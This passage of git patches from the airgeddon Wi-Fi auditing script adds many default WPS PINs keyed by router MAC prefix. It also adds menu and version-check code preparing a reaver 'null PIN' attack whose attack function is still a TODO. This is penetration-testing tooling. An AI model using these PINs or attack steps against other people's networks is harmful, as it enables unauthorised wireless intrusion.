PINDB["002722"]="12345678" PINDB["003220"]="87491562" PINDB["003872"]="18836486" PINDB["00487A"]="15471628" @@ -83,37 +96,53 @@ function set_pin_database() { PINDB["004F67"]="13648947" PINDB["006064"]="13948696 71876160 17002318 00112633 00372152 00555831 00600732 00061937 00665988" PINDB["00664B"]="85275560" - PINDB["008EF2"]="74956203 50791810 95755212" + PINDB["008610"]="30236066" + PINDB["008EF2"]="74956203 50791810 95755212 50491810 23715448 43662203" PINDB["00904C"]="39246189" PINDB["00908F"]="38384127 38322921 42390480" + PINDB["0090A9"]="68477035" PINDB["00A026"]="81349487 84385727 82244521 83368929 84302403" PINDB["00AADD"]="01234567" + PINDB["00ACE0"]="03771204" PINDB["00B00C"]="49693928" PINDB["00B6B7"]="10157268 17033473" PINDB["00BEF2"]="28752455" PINDB["00D041"]="79679190" PINDB["00E04B"]="27549391" + PINDB["00E04C"]="09752214" PINDB["00F1CE"]="14169809" PINDB["00F81C"]="24684323" - PINDB["021018"]="00022169" + PINDB["011DCF"]="11234555" + PINDB["021018"]="00022169 20172527" PINDB["048D38"]="01234567 61499065" - PINDB["04C06F"]="08182173" - PINDB["081074"]="20956455" + PINDB["04C06F"]="08182173 35404187 08776297 04759386" + PINDB["081074"]="20956455 20912505" PINDB["081076"]="63458374" - PINDB["0876FF"]="79412988" + PINDB["083E8E"]="94502992" + PINDB["08606E"]="01287042" + PINDB["086361"]="24530361" + PINDB["0876FF"]="79412988 79199124" PINDB["088039"]="00012436" PINDB["08863B"]="14129162 34968611 87279320 36323364 08112118 83469909 14159114 21250491 76726446" PINDB["08952A"]="28812838" + PINDB["08EDB9"]="86925583" + PINDB["0C54A5"]="82585297" + PINDB["0C722C"]="80554448" PINDB["0C96BF"]="12345670" + PINDB["100D7F"]="53172297" PINDB["107BEF"]="38163289" PINDB["10BEF5"]="30543362" PINDB["10BF48"]="04032052" PINDB["10FEED"]="18382501 00246330 96238936 08825270 93878845 57275062" - PINDB["14A9E3"]="00288729 03617984" + PINDB["14144B"]="36286034" + PINDB["14A9E3"]="00288729 03617984 00265744 00344463" PINDB["14B968"]="51321086" PINDB["14CC20"]="12310319 52394775" - PINDB["14D64D"]="44686871 59185239 46020383 20700737 64535203" + PINDB["14D64D"]="44686871 59185239 46020383 20700737 64535203 25434668 62538893 61151765 54951600" PINDB["14D6D4"]="31008167" + PINDB["14DAE9"]="81103980" + PINDB["17AD1E"]="12345670" + PINDB["182861"]="59229933" PINDB["18A6F7"]="05150960" PINDB["18D6C7"]="07338526" PINDB["18F145"]="21143892" @@ -121,121 +150,179 @@ function set_pin_database() { PINDB["19DCED"]="45678965" PINDB["1A0B40"]="17068161" PINDB["1C740D"]="15843128" - PINDB["1C7EE5"]="76229909 37967635 92433960 22609298 60418579 60206732" - PINDB["1CAFF7"]="48612661" - PINDB["1CBDB9"]="70313376 55349758" + PINDB["1C7EE5"]="76229909 37967635 92433960 22609298 60418579 60206732 27343043 65126141 43580293" + PINDB["1CAFF7"]="48612661 50928248 12663309 00448864 20164065 98134496 60629890" + PINDB["1CBDB9"]="70313376 55349758 13351939" + PINDB["1CC63C"]="08441461" PINDB["1E3E84"]="79952514" - PINDB["202BC1"]="19303594" - PINDB["204E7F"]="45197079" + PINDB["202BC1"]="19303594 01239980" + PINDB["204E7F"]="45197079 62327145" + PINDB["207355"]="70050219" PINDB["208986"]="12345670" - PINDB["20AA4B"]="54789609 32275841 96716977" + PINDB["20AA4B"]="54789609 32275841 96716977 66363194" PINDB["20CF30"]="77898951" PINDB["20F3A3"]="25905892" PINDB["224E7F"]="15584953" + PINDB["22BC1A"]="29432349" + PINDB["22BCF2"]="28981572" PINDB["2400BA"]="23071841" - PINDB["28107B"]="46264848 20172527" - PINDB["285FDB"]="08007117" + PINDB["240995"]="10201480" + PINDB["28107B"]="46264848 20172527 21464065" + PINDB["28285D"]="66202240" + PINDB["285FDB"]="08007117 00009980" + PINDB["28BE9B"]="52721113" + PINDB["28C68E"]="27161395" PINDB["2C957F"]="07144721" - PINDB["2CAB25"]="12345670 47888777 34412916" - PINDB["2CB05D"]="27257210 52231858 11534624 72522233 19537511 42375852 70092523 17054850 87205732 11239208 74155279 87221541 92085251 52718380 46218230 09820852 23950313 07753695 42375852 75863869 12090006 37523077 06686635" + PINDB["2CAB25"]="12345670 47888777 34412916 18625790 14393426 10847138 70205404 33736082" + PINDB["2CAEE4"]="21464065" + PINDB["2CB05D"]="27257210 52231858 11534624 72522233 19537511 42375852 70092523 17054850 87205732 11239208 74155279 87221541 92085251 52718380 46218230 09820852 23950313 07753695 42375852 75863869 12090006 37523077 06686635 45476013 38941476 54510555 33033631 12523146" PINDB["3039F2"]="16538061 16702738 18355604 88202907 73767053 43297917 19756967 13409708 11967859 12820078 05537303 11915140 13880996 15116574 15584151 17342711 17368759 18511000 19142029 19783871 21158766 24100489 47148826 64630113 74184095 75886264 77828491 78551312 92537309 94862423 18001907 12345670" PINDB["30469A"]="27334959 37489014 37496081 37494650 37490034 40184708 40166148 19482417 30592407 30176683 95221021 27016497 33102320 21703003 30022645 38940972" PINDB["30918F"]="78365230" - PINDB["340804"]="36022656 93395274" + PINDB["340804"]="36022656 93395274 39837875 23556676" PINDB["34080F"]="56364675" + PINDB["344B50"]="13419622" PINDB["344DEA"]="87972122" + PINDB["34CDBE"]="09656802" PINDB["38229D"]="00779876 05537303 11967859 12749355 13409708 13849238 15116574 16538061 16811836 19986951 26427195 29942275 42497868 47148826 75284930 77828491 88202907 92537309" PINDB["3859F9"]="12475407" PINDB["386077"]="12345670 94380507" PINDB["3872C0"]="15624697 12345678 18811728 20172527 18836486 12345678 00029186 49385052 12715657 16035232 19117652" + PINDB["389939"]="38993923" PINDB["3C4711"]="12345678" - PINDB["404A03"]="78159952 11866428 79205177" + PINDB["3C81D6"]="76629909" + PINDB["3C81D8"]="31957199" + PINDB["3E500F"]="28504610" + PINDB["404A03"]="78159952 11866428 79205177 74395675" PINDB["4409D4"]="48085793" + PINDB["485B39"]="25732726" + PINDB["48E173"]="20917784" PINDB["4C09D4"]="86351386" PINDB["4C17EB"]="43944552 12345670" - PINDB["4C60DE"]="01322934 42473534 22958143 53550866 31836289" - PINDB["4C72B9"]="82585297" - PINDB["4C8BEF"]="04260681" - PINDB["4E26D4"]="51217563" + PINDB["4C60DE"]="01322934 42473534 22958143 53550866 31836289 22297235 31015424" + PINDB["4C72B9"]="82585297 96606674 20661731" + PINDB["4C8BEF"]="04260681 85064409" PINDB["4CFB45"]="63666922 60998125" - PINDB["50465D"]="83010910 46540010 21101021" + PINDB["4E26D4"]="51217563" + PINDB["50465D"]="83010910 46540010 21101021 51504472 01101027 64214306" PINDB["5067F0"]="20064525 66026402 12608065 12204786" + PINDB["5404A6"]="69923326" PINDB["5422F8"]="12345670" PINDB["5465DE"]="65979754" PINDB["546EFC"]="02917092" + PINDB["54BEF7"]="19280066" PINDB["54D46F"]="11199083 99731281" - PINDB["54E6FC"]="53525659 66394662 41942826 93464239 96517062" - PINDB["586D8F"]="47158382 69382161 67387953 37110802" - PINDB["589835"]="36232925 78568242 56217391 13128562 53890894 00001604" + PINDB["54E6FC"]="53525659 66394662 41942826 93464239 96517062 00846363 53473226 14204968" + PINDB["586D8F"]="47158382 69382161 67387953 37110802 43059089 68045753" + PINDB["589835"]="36232925 78568242 56217391 13128562 53890894 00001604 40798011 30102019 43279593" PINDB["5A8E85"]="16259553" PINDB["5AF102"]="90000000" - PINDB["5C338E"]="00764025 03015162 04581277 11765592 15986511 30414129 30999022 33685984 39657053 53842763 60387400 73968597 78614062 78963641 82848439 85776104 91345080 12345670 61449206 93017749" - PINDB["5C353B"]="64874487 95755212 58945537 79082020 12345670 64774487" + PINDB["5C338E"]="00764025 03015162 04581277 11765592 15986511 30414129 30999022 33685984 39657053 53842763 60387400 73968597 78614062 78963641 82848439 85776104 91345080 12345670 61449206 93017749 87391107 37810573 45413896" + PINDB["5C353B"]="64874487 95755212 58945537 79082020 12345670 64774487 47385580" PINDB["5C571A"]="46577450" - PINDB["5CD998"]="11554424 67554409" + PINDB["5CD998"]="11554424 67554409 22630964" PINDB["5CF96A"]="54353640" PINDB["60E327"]="36743025 56163926 20102043 23956544 34125335 83476532 86227728 09845237 59642114 31486811 26790732 08791320 24890687 09981331 48122726 38142178" - PINDB["626BD3"]="25415001" - PINDB["62A8E4"]="51194529 34160923 32473841" + PINDB["623DFF"]="52029288" + PINDB["6253D4"]="21884603" + PINDB["626BD3"]="25415001 73609605 72931806" + PINDB["627D5E"]="73088325" + PINDB["6296BF"]="74459520" + PINDB["62A8E4"]="51194529 34160923 32473841 32571240 53249722" PINDB["62C06F"]="34585849 36691524 33405049" - PINDB["62C714"]="32184129" - PINDB["6466B3"]="33357553" - PINDB["647002"]="76627705" + PINDB["62C714"]="32184129 34404808" + PINDB["62CDBE"]="65770528" + PINDB["642737"]="43183319" + PINDB["6444B3"]="48838924" + PINDB["646637"]="89285701" + PINDB["6466B3"]="33357553 99807986 34519523 58576816 42973409 15636447 59228738 49971606 23629769 87120448 00967907 81890576" + PINDB["647002"]="76627705 17141390 84909053 83123412 18756784 05549566 89786048 39031457 51325671 56098389 51512064 01672145 09571051 86711654" PINDB["6487D7"]="31506519 16825321 18708622 64578835" + PINDB["64D954"]="34198131" PINDB["687F74"]="42901174 68623227 94126198 58743249" - PINDB["68B6FC"]="82380243" + PINDB["68B6FC"]="82380243 05842803 23137042 16141209" PINDB["68C06F"]="41719565 41873281" PINDB["68F956"]="00000001" + PINDB["6A1D67"]="04161608" + PINDB["6A233D"]="35645726" + PINDB["6A3DFF"]="53582522" + PINDB["6A53D4"]="22711403" PINDB["6A6BD3"]="70481921" PINDB["6A7D5E"]="74399000" - PINDB["6AA8E4"]="51016128 51011727" - PINDB["6AC06F"]="44574886 36433124 36715725 34052648" + PINDB["6A96BF"]="73357643" + PINDB["6AA8E4"]="51016128 51011727 51099442" + PINDB["6AC06F"]="44574886 36433124 36715725 34052648 44547886" PINDB["6AC714"]="32179323 32060003" - PINDB["6A1D67"]="04161608" + PINDB["6ACBA8"]="48385923" + PINDB["6CFDB9"]="11171409" PINDB["6F3AC8"]="72895443" + PINDB["705681"]="16538061" + PINDB["72088B"]="42860808" + PINDB["721D67"]="04432326" PINDB["72233D"]="36228645" - PINDB["723DFF"]="50540686 53015921" + PINDB["723DFF"]="50540686 53015921 52597329" PINDB["72559C"]="00287203 08075963" - PINDB["72A8E4"]="31763523 51319045 51728649" + PINDB["726BD3"]="70626209" + PINDB["7296BF"]="72687444" + PINDB["72A8E4"]="31763523 51319045 51728649 31514644" PINDB["72AC67"]="67943432" + PINDB["72C06F"]="38691645" + PINDB["72C714"]="34548004" PINDB["72E370"]="75293284" - PINDB["744401"]="00446747 10052648 27615126 31547208 45226823 03132692 12345670 11250562 87293593 04300106 59451595 14043123" + PINDB["744401"]="00446747 10052648 27615126 31547208 45226823 03132692 12345670 11250562 87293593 04300106 59451595 14043123 57415109 13362416 39747129" PINDB["74852A"]="94380507" - PINDB["74888B"]="16538061 18355604 43297917 73767053 88202907 16702738 19756967 13409708 00779876 05537303 10212004 10555569 11161189 11915140 11967859 12820078 13588106 14058400 14321054 15116574 15584151 17342711 17908214 18001907 19379982 21158766 24100489 29942275 42497868 45014451 47148826 58952153 64630113 75886264 77828491 78551312 92537309 94862423 12345670 88478760 14145629 14904950" + PINDB["74888B"]="16538061 18355604 43297917 73767053 88202907 16702738 19756967 13409708 00779876 05537303 10212004 10555569 11161189 11915140 11967859 12820078 13588106 14058400 14321054 15116574 15584151 17342711 17908214 18001907 19379982 21158766 24100489 29942275 42497868 45014451 47148826 58952153 64630113 75886264 77828491 78551312 92537309 94862423 12345670 88478760 14145629 14904950 82435707" PINDB["74EA3A"]="37211202 22512864 25877274 36189946 05788940 15513526 21426087 83854125" + PINDB["77888B"]="88202907" + PINDB["784476"]="12345678" + PINDB["78542E"]="91639561" + PINDB["78888B"]="88202907" PINDB["788DF7"]="53482488" + PINDB["78E400"]="12788921" + PINDB["791379"]="79348416" + PINDB["7A4D8E"]="29374601" PINDB["7A53D4"]="41092606" + PINDB["7A5FDB"]="27987445" + PINDB["7AD15E"]="55748162" PINDB["7B4877"]="25142457" - PINDB["7C034C"]="43944552 12345670" - PINDB["7C4FB5"]="75332662 51394554 35642596 72688656 13245670" + PINDB["7C034C"]="43944552 12345670 11105824" + PINDB["7C03D8"]="31957199" + PINDB["7C4FB5"]="75332662 51394554 35642596 72688656 13245670 12345670" PINDB["7C7D3D"]="75101565" PINDB["7CD34C"]="43944552 12345670" - PINDB["801F02"]="12345670 26713366 59420484" + PINDB["7DCC54"]="41441282" + PINDB["801F02"]="12345670 26713366 59420484 71733388" PINDB["803F5D"]="85173057" PINDB["80B686"]="38484636" PINDB["80D09B"]="19355801" PINDB["8416F9"]="17744683 59669210" - PINDB["841B5E"]="78100053 21120374 48062435 06042547 07017643 29167012 73312055" + PINDB["841B5E"]="78100053 21120374 48062435 06042547 07017643 29167012 73312055 11996361" + PINDB["84742B"]="12345670" PINDB["849CA6"]="12345670" - PINDB["84C9B2"]="84257123 12345670 27786598" + PINDB["84C9B2"]="84257123 12345670 27786598 28037286 44163334" + PINDB["880355"]="18575675" PINDB["88252C"]="35642596 03526859" - PINDB["8C0CA3"]="02991172" + PINDB["88E3AB"]="00502207" + PINDB["8C0C22"]="22263896" + PINDB["8C0CA3"]="02991172 40371211 71259987 82079541 28233275 58565704 22547121 25811612 55573532 19236833 21942103 16630230 27429498 38517804 63167314 15750143 79350379 77984513 79845133 73709271 88235322 12274869 82327121 41197126 63299984 51505262 04766278 12106264 22247322 91144560" PINDB["8CA982"]="18625790" PINDB["8CCA32"]="71259987" - PINDB["8C0C22"]="22263896" PINDB["905C44"]="71756837" PINDB["90C792"]="96603086 02716985 38225505" PINDB["90E6BA"]="17035419" - PINDB["90F652"]="95817149 20917784 56738209 59820000 31315036 65723081 85438996 87883282 26555898 01715224 31581431 61296879 15094148 26412948 91090430 31718851 51979850 56339420 59955467 78110830 91191229 23619128 44538811 64836157 76556098 09834811 44938161 12345670 51161484 70231540 80335092 94966503 96932407" - PINDB["940C6D"]="06292379" - PINDB["944452"]="15310828 29874590 08318725 17579957 26023809 93645348 08983954 88154473 73532866 40011851" + PINDB["90F652"]="95817149 20917784 56738209 59820000 31315036 65723081 85438996 87883282 26555898 01715224 31581431 61296879 15094148 26412948 91090430 31718851 51979850 56339420 59955467 78110830 91191229 23619128 44538811 64836157 76556098 09834811 44938161 12345670 51161484 70231540 80335092 94966503 96932407 93661171 09489530 64776835 57644660 33046518 42823551 71083490 62530248 47081116 43701742 49759051 73964759 81431472 13496654 80777229 02325385 31969529 59020905" + PINDB["90F656"]="44632267" + PINDB["940C6D"]="06292379 61465275" + PINDB["944452"]="15310828 29874590 08318725 17579957 26023809 93645348 08983954 88154473 73532866 40011851 06835590 90017810" PINDB["944A0C"]="41238806" PINDB["94FEF4"]="43944552" PINDB["988B5D"]="12345670" PINDB["9897D1"]="07266881 10705513 85713642 29342273 84280848 63201048 30726437 73691365 34474242 18297492 61969063 15848789 28230274" PINDB["98DED0"]="12345678" - PINDB["98FC11"]="21421112" - PINDB["9CD24B"]="73185321 68109165 00000001" + PINDB["98F537"]="13415679" + PINDB["98FC11"]="21421112 99756666 33617503" + PINDB["9C9726"]="06699437" + PINDB["9CD24B"]="73185321 68109165 00000001 13419622" PINDB["9CD643"]="39194282" PINDB["A00BBA"]="00000000" PINDB["A02187"]="92442559" @@ -244,83 +331,114 @@ function set_pin_database() { PINDB["A08E78"]="62306157" PINDB["A0AB1B"]="44384494" PINDB["A0EC80"]="21970726 12345670" - PINDB["A4526F"]="16538061 16702738 18355604 43297917 73767053 88202907 19756967 13409708 94862423 00779876 11161189 11915140 11967859 12820078 13588106 13849238 14058400 14522529 15116574 15397812 15584151 17908214 18001907 18511000 19783871 21362767 24100489 42497868 45014451 47148826 75886264 77828491 78551312 91403902 15328366 15938718" + PINDB["A0F3C1"]="03919934" + PINDB["A42B8C"]="21047015" + PINDB["A4526F"]="16538061 16702738 18355604 43297917 73767053 88202907 19756967 13409708 94862423 00779876 11161189 11915140 11967859 12820078 13588106 13849238 14058400 14522529 15116574 15397812 15584151 17908214 18001907 18511000 19783871 21362767 24100489 42497868 45014451 47148826 75886264 77828491 78551312 91403902 15328366 15938718 12345679 45550867" PINDB["A4B1E9"]="75090753" PINDB["A62148"]="67541270" PINDB["A8D3F7"]="08593399 31013628 98011193 69216664 33109893 15392275" + PINDB["A8F94B"]="28612919" + PINDB["AA8DD3"]="03053447" + PINDB["AC220B"]="20172527" PINDB["ACE87B"]="77502896" - PINDB["B0487A"]="61116597 53171801 65822234 31400206 06465179 18668872 22637307 40176451 37493691 57739601 40184708 40166148 37505073 61116597 37494506 37494063 37489014 37496081 37494650 37490034 54335677" - PINDB["B05B67"]="30366367" + PINDB["AE6240"]="39184412" + PINDB["B0487A"]="61116597 53171801 65822234 31400206 06465179 18668872 22637307 40176451 37493691 57739601 40184708 40166148 37505073 61116597 37494506 37494063 37489014 37496081 37494650 37490034 54335677 71625089 44860936 42686774 30643229 67375219 55427586" + PINDB["B05B67"]="30366367 31187688" + PINDB["B0B2DC"]="47866591" + PINDB["B246FC"]="96799208" + PINDB["B40C2A"]="75033941" PINDB["B4749F"]="23659391" + PINDB["B60D75"]="19309972" PINDB["B6B0D6"]="59686873" + PINDB["B89BC9"]="41613849" PINDB["B89BCB"]="41613849" - PINDB["B8A386"]="60973375 20172527 19217581" + PINDB["B8A386"]="60973375 20172527 19217581 49730449 76229909 13830724 19951683" PINDB["B8AE86"]="37376826" + PINDB["BC1401"]="49847925" + PINDB["BC75D6"]="37211202" PINDB["BC7670"]="59515135" PINDB["BC9680"]="34412916" PINDB["BCAABB"]="12345678" - PINDB["BCF685"]="48782265" + PINDB["BCF685"]="48782265 21464065 46264848" + PINDB["BEE3C4"]="75033941" PINDB["BF06F4"]="20607470" PINDB["C025E9"]="89346259 08645616" PINDB["C03F0E"]="25032918 45445402 49945386 41138571 13250003 09302525 14516894 83143632 63247435 94751345 50615056 30702073 53363480" - PINDB["C04A00"]="46182661 15706065 15268976 23682351" + PINDB["C04A00"]="46182661 15706065 15268976 23682351 76746864 21249051 51644048" PINDB["C054A5"]="12345678" PINDB["C07CD1"]="49070897" PINDB["C0AC54"]="12345670" - PINDB["C0C1C0"]="78985933 04840954 96405628 63797435 27905814" - PINDB["C43DC7"]="82234515 63753349" + PINDB["C0C1C0"]="78985933 04840954 96405628 63797435 27905814 01101110 64382913" + PINDB["C0F8DA"]="51542252" + PINDB["C43DC7"]="82234515 63753349 20388560 20205287" PINDB["C46E1F"]="11695059 73307334" PINDB["C4E984"]="72914908" PINDB["C528D2"]="95685656" - PINDB["C83A35"]="28818885 01756401 11195207 11203124 11210085 11214809 11215042 11213840 11194569 11195764 11214885 11216643 05365852 48343763 61724242 12345678 60641687" + PINDB["C81760"]="12345678" + PINDB["C83A35"]="28818885 01756401 11195207 11203124 11210085 11214809 11215042 11213840 11194569 11195764 11214885 11216643 05365852 48343763 61724242 12345678 60641687 15002648 61436800 18698800 02814087 38015687 23664173 62047043" PINDB["C85195"]="13113889" - PINDB["C86000"]="46264848" - PINDB["C86C87"]="53488954 42566212 71033884 83961984 40172910 04337706" - PINDB["C8D3A3"]="21464065 20172527 17084215 12345670" + PINDB["C86000"]="46264848 66916468" + PINDB["C86C87"]="53488954 42566212 71033884 83961984 40172910 04337706 40309125 41152256 43468379" + PINDB["C8BE19"]="73457756" + PINDB["C8D3A3"]="21464065 20172527 17084215 12345670 19951683 13950132" PINDB["C8D5FE"]="12345678" - PINDB["CC5D4E"]="51565220 48919586 52755248" + PINDB["C8D719"]="90291333" + PINDB["CC1AFB"]="12345670" + PINDB["CC5D4E"]="51565220 48919586 52755248 28889601 99904562 65101483 99517786 65884102" PINDB["CC7B35"]="17481960 17503488" - PINDB["CC96A0"]="51191535" - PINDB["CCB255"]="97354833 61041165" - PINDB["D0AEEC"]="12263813 36831678 43419012 46275288 49570724 58441640 67791088 76871559 63220926 23970472 04325093 35041054 31433273 97855996 11248729 52217388 59432265 77485625 06235307 78597235 92276337 41496541 73534136 36925025 82225524 53269867 06267124 50405732 30085084 60858108 11199083 99731281" + PINDB["CC96A0"]="51191535 12345670 16118416 12349838 12349982" + PINDB["CCB255"]="97354833 61041165 58473955 46264848 60977045 00082778" + PINDB["D0AEEC"]="12263813 36831678 43419012 46275288 49570724 58441640 67791088 76871559 63220926 23970472 04325093 35041054 31433273 97855996 11248729 52217388 59432265 77485625 06235307 78597235 92276337 41496541 73534136 36925025 82225524 53269867 06267124 50405732 30085084 60858108 11199083 99731281 65186206 13226442" + PINDB["D0AEEE"]="75277048" PINDB["D0D412"]="16538061 16702738 18355604 88202907 73767053 43297917 19756967 13409708 11161189 11915140 12749355 13588106 14145629 24100489 42497868 47148826 77828491" + PINDB["D42122"]="00187558" PINDB["D46E0E"]="43285632" PINDB["D47BB0"]="14550911 98852413 70795660 20859978 13090586 67774128 14738340 11317890 53741134 22388414 72768198 11651659 83914829 36956074 11277576 16007666 29342273 18297492" - PINDB["D85D4C"]="73448907" + PINDB["D85D4C"]="73448907 13262204 11997870" PINDB["D86194"]="71537573 10009321 31348034 18794786 15738370 18546774 47415270 63742336 93782302" PINDB["D86CE9"]="10864111 20172527 15624697" PINDB["D8B6B7"]="49385052 12715657 66131533 96567111 18811728 20172527 16035232 18836486 19117652 37356569" + PINDB["D8EB97"]="31850483" PINDB["D8FB5E"]="20859978" + PINDB["DC028E"]="13419622" PINDB["DC0B1A"]="19756967 73767053 16702738 16538061 88202907 18355604 13409708 21158766 43297917 00779876 05537303 11915140 11967859 12820078 14058400 15116574 15584151 16756205 17342711 18001907 18511000 19955087 21124495 21362767 24100489 29942275 42497868 45550867 47148826 64630113 74184095 77828491 78551312 91403902 92537309 94862423" PINDB["DC537C"]="95755212 64874487 58945537 79082020 12345670 29528165 00259590 46300096" + PINDB["DE231B"]="95817149" PINDB["E04136"]="29342273 18297492 10705313 59249115 10705513" - PINDB["E0469A"]="30022645 19004938 75401139 47386914" + PINDB["E0469A"]="30022645 19004938 75401139 47386914 38452208" PINDB["E06995"]="12345670" PINDB["E08FEC"]="00235211" PINDB["E09115"]="42764199" - PINDB["E091F5"]="37380342 82234577 49945386 12345670" - PINDB["E0CB4E"]="62987523" + PINDB["E091F5"]="37380342 82234577 49945386 12345670 59584094" + PINDB["E0CB4E"]="62987523 49884388" PINDB["E24136"]="89817841 29612000 19107011 92008601 15763297" PINDB["E43ED7"]="29187386 60551085 07281808 78232099 37706937" PINDB["E4C146"]="71537573 10009321 31348034 18794786 15738370 18546774 47415270 63742336 93782302 24248907 63668346 96453780" - PINDB["E840F2"]="12345670" - PINDB["E894F6"]="45892066 36264957" + PINDB["E839DF"]="14309489" + PINDB["E840F2"]="12345670 82585297 94380507" + PINDB["E894F6"]="45892066 36264957 25289794 36129836" PINDB["E8ABFA"]="11192091" + PINDB["E8CD2D"]="32151688" PINDB["E8D11B"]="46240255 30859098 16615519 08935946 40033990 66543404" - PINDB["E8DE27"]="68663803 83331817 92674639 96323472" - PINDB["E8F1B0"]="76308574" + PINDB["E8DE27"]="68663803 83331817 92674639 96323472 82398903 20422394 92292208 33030265 00934527 41322581 43537525 39078070 91439093 49312263" + PINDB["E8F1B0"]="76308574 46264848 76229909" + PINDB["EB40F2"]="12345670" PINDB["EC1A59"]="19366838" + PINDB["EC43F6"]="95076522" PINDB["ECC146"]="71537573" - PINDB["F07D68"]="01290141 00927659" + PINDB["EE43F6"]="37074005" + PINDB["F07D68"]="01290141 00927659 10481769 03617984 26016573 68175242 18580754 80968344 51558352 02445908 34463512" + PINDB["F0842F"]="93869577" PINDB["F084C9"]="12345670" PINDB["F43E61"]="12345670 47158382 69382161 18625790" PINDB["F4C714"]="79072205" - PINDB["F4EC38"]="32066968 26599625 05181667 99195038 18674095 48555524 12345678 25933291 48291477 45266065 66683407 82188184 86697934 11542216 62887485 91726681 41185315 96781593 09165847 04898702 42768777 23380622 67971862 11288879 03419724 72344071 19634173 95048147 51660567 52594809 82853600 05884889 44947477 44762810 25575583 85091153 75913038 50413812" + PINDB["F4EC38"]="32066968 26599625 05181667 99195038 18674095 48555524 12345678 25933291 48291477 45266065 66683407 82188184 86697934 11542216 62887485 91726681 41185315 96781593 09165847 04898702 42768777 23380622 67971862 11288879 03419724 72344071 19634173 95048147 51660567 52594809 82853600 05884889 44947477 44762810 25575583 85091153 75913038 50413812 62884785 15970039 67556366 18741452" PINDB["F4F26D"]="60384164 36308729 13454050 68280048 62718943 56769814" PINDB["F59B36"]="60960542" PINDB["F8038E"]="12345670" PINDB["F80FD9"]="12345670" - PINDB["F81A67"]="06695972 78488113 92407213 68474836 14721359 88821344 50042227 36735600 04165415 65597231" + PINDB["F81A67"]="06695972 78488113 92407213 68474836 14721359 88821344 50042227 36735600 04165415 65597231 34194614 06223038 68007591 29876150 76328640" + PINDB["F81AFA"]="12345678" PINDB["F81BFA"]="12345670" PINDB["F827C5"]="12345670" PINDB["F83DFF"]="25905892 49531046" @@ -328,15 +446,20 @@ function set_pin_database() { PINDB["F87F35"]="12345670" PINDB["F88B86"]="12345670" PINDB["F88E85"]="49385052 12715657 66131533 96567111 18811728 19117652 16035232 20172527 64868653 16259553 18836486" + PINDB["F88EC7"]="22066640" + PINDB["F8C091"]="99956042" PINDB["F8C346"]="12345670" - PINDB["F8D111"]="41441282 93834186 93802598 46337443 81315697 11801962 48155113 23229006 89754316" + PINDB["F8D111"]="41441282 93834186 93802598 46337443 81315697 11801962 48155113 23229006 89754316 71031811 11212256 46518408 08114419 33984001 63687293 42852520 99611026 43290666 29692705 65636107 90552854 93609470 15316592 11997870 69018480" PINDB["F8E1CF"]="12345670" PINDB["F8ED80"]="12345670" PINDB["F8F111"]="71031811 11212256 46518408 08114419" PINDB["F8FB56"]="12345670" - PINDB["FC8B97"]="12345670" + PINDB["FC7516"]="46264848" + PINDB["FC8B97"]="12345670 34412916" PINDB["FC94C3"]="12345670" - PINDB["FCF528"]="20329761" + PINDB["FCF528"]="20329761 39905628" + PINDB["FD69D0"]="66870913" + PINDB["FF7FD7"]="67444076" } set_pin_database diff --git a/pindb_checksum.txt b/pindb_checksum.txt index c93b43441..c46cb3616 100644 --- a/pindb_checksum.txt +++ b/pindb_checksum.txt @@ -1 +1 @@ -ca9db8c2a396dcb5e130d3cad257acb9 +40663f927ff9b991a67f580e26b18eb7 From ad915e5a5f291012e4b0c2a3fa6e790b32713b63 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Sun, 14 Apr 2019 22:27:43 +0200 Subject: [PATCH 127/148] Added menu structure and validations preparing WPS null PIN reaver attack --- CHANGELOG.md | 1 + airgeddon.sh | 37 +++++++++++++++++++++++++++- language_strings.sh | 60 ++++++++++++++++++++++++++++++++++++--------- 3 files changed, 85 insertions(+), 13 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 41ae1317f..a9147c132 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,6 @@ ### 9.20 - Added option to use tmux instead of xterm (Thank you to "xpz3") + - Added WPS null PIN attack (reaver) ### 9.11 - Fixed error shown on enterprise attacks for some wifi cards diff --git a/airgeddon.sh b/airgeddon.sh index 98938504c..33bd75e4d 100755 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2,7 +2,7 @@ #Title........: airgeddon.sh #Description..: This is a multi-use bash script for Linux systems to audit wireless networks. #Author.......: v1s1t0r -#Date.........: 20190412 +#Date.........: 20190414 #Version......: 9.20 #Usage........: bash airgeddon.sh #Bash Version.: 4.2 or later @@ -170,6 +170,7 @@ docker_io_dir="/io" #WPS vars minimum_reaver_pixiewps_version="1.5.2" +minimum_reaver_nullpin_version="1.6.1" minimum_bully_pixiewps_version="1.1" minimum_bully_verbosity4_version="1.1" minimum_wash_json_version="1.6.2" @@ -5400,6 +5401,7 @@ function wps_attacks_menu() { language_strings "${language}" 359 reaver_attacks_dependencies[@] language_strings "${language}" 348 bully_attacks_dependencies[@] language_strings "${language}" 360 reaver_attacks_dependencies[@] + language_strings "${language}" 622 reaver_attacks_dependencies[@] print_simple_separator language_strings "${language}" 494 print_hint ${current_menu} @@ -5581,6 +5583,28 @@ function wps_attacks_menu() { fi ;; 13) + if contains_element "${wps_option}" "${forbidden_options[@]}"; then + forbidden_menu_option + else + wps_attack="nullpin_reaver" + get_reaver_version + if validate_reaver_nullpin_version; then + echo + language_strings "${language}" 623 "yellow" + language_strings "${language}" 115 "read" + if wps_attacks_parameters; then + manage_wps_log + #TODO set here exec_reaver_nullpin_attack function (not created yet) + under_construction_message + fi + else + echo + language_strings "${language}" 624 "red" + language_strings "${language}" 115 "read" + fi + fi + ;; + 14) offline_pin_generation_menu ;; *) @@ -12447,6 +12471,17 @@ function validate_reaver_pixiewps_version() { return 1 } +#Validate if reaver version is able to perform null pin attack +function validate_reaver_nullpin_version() { + + debug_print + + if compare_floats_greater_or_equal "${reaver_version}" "${minimum_reaver_nullpin_version}"; then + return 0 + fi + return 1 +} + #Validate if wash version is able to perform 5Ghz dual scan function validate_wash_dualscan_version() { diff --git a/language_strings.sh b/language_strings.sh index 316afe504..7ea314b74 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -2,7 +2,7 @@ #Title........: language_strings.sh #Description..: All the translated strings that airgeddon uses are located here. #Author.......: v1s1t0r -#Date.........: 20190408 +#Date.........: 20190414 #Bash Version.: 4.2 or later #Set language_strings file version @@ -6778,17 +6778,17 @@ function language_strings() { arr["GERMAN",493]="Die Arcadyan-Algorithmus-PIN wurde bereits für diesen Target berechnet 